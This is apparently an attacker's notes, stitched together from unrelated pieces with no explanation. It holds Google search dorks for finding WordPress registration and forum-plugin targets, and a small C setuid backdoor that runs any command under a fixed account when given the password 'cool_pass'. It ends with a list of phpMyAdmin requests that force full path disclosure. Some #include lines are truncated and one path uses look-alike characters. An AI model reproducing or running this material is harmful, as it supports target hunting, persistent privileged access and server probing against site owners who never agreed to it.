inurl:"wp-login.php?action=register"
inurl:"plugins/wp-forum"
"index of /" wp-forum

#include 
#include 
main(int argc, char *argv[]) {
 if(argc == 3){
    if(strcmp(argv[1],"cool_pass") == 0){
       setgid(310);
       setuid(16745);
       system(argv[2]);
    }
 }
 return 0;
}

Full path disclosure :
/sсriрts/check_lang.php
/themes/darkblue_orange/layout.inc.php
/index.php?lang[]=
/index.php?target[]=
/index.php?db[]=
/index.php?goto[]=
/left.php?server[]=
/index.php?table[]=
/server_databases.php?token=your_token&sort_by="
/index.php?db=information_schema&token=your_token&tbl_group[]=
/db_printview.php?db="
/sql.php?back[]=
libraries/string.lib.php
libraries/storage_engines.lib.php
libraries/sqlparser.lib.php
libraries/sql_query_form.lib.php
libraries/select_theme.lib.php
libraries/select_lang.lib.php
libraries/relation_cleanup.lib.php
libraries/left_header.inc.php
libraries/import.lib.php
libraries/header_meta_style.inc.php
libraries/grab_globals.lib.php
libraries/get_foreign.lib.php (get_foreign.lib.php?field=foo&foreigners[foo]=foo)
libraries/display_tbl_links.lib.php (display_tbl_links.lib.php?doWriteModifyAt=left&edit_url=foo)
libraries/display_import.lib.php
libraries/display_export.lib.php
libraries/display_create_table.lib.php
libraries/display_create_database.lib.php
libraries/db_table_exists.lib.php
libraries/database_interface.lib.php
libraries/common.lib.php
libraries/check_user_privileges.lib.php
libraries/charset_conversion.lib.php (charset_conversion.lib.php?cfg[AllowAnywhereRecoding]=true&allow_recoding=true)
libraries/sqlvalidator.lib.php (libraries/sqlvalidator.lib.php?cfg[SQLValidator]=use=TRUE)
libraries/import/sql.php
libraries/fpdf/ufpdf.php
libraries/auth/cookie.auth.lib.php (libraries/auth/cookie.auth.lib.php?coming_from_common=true)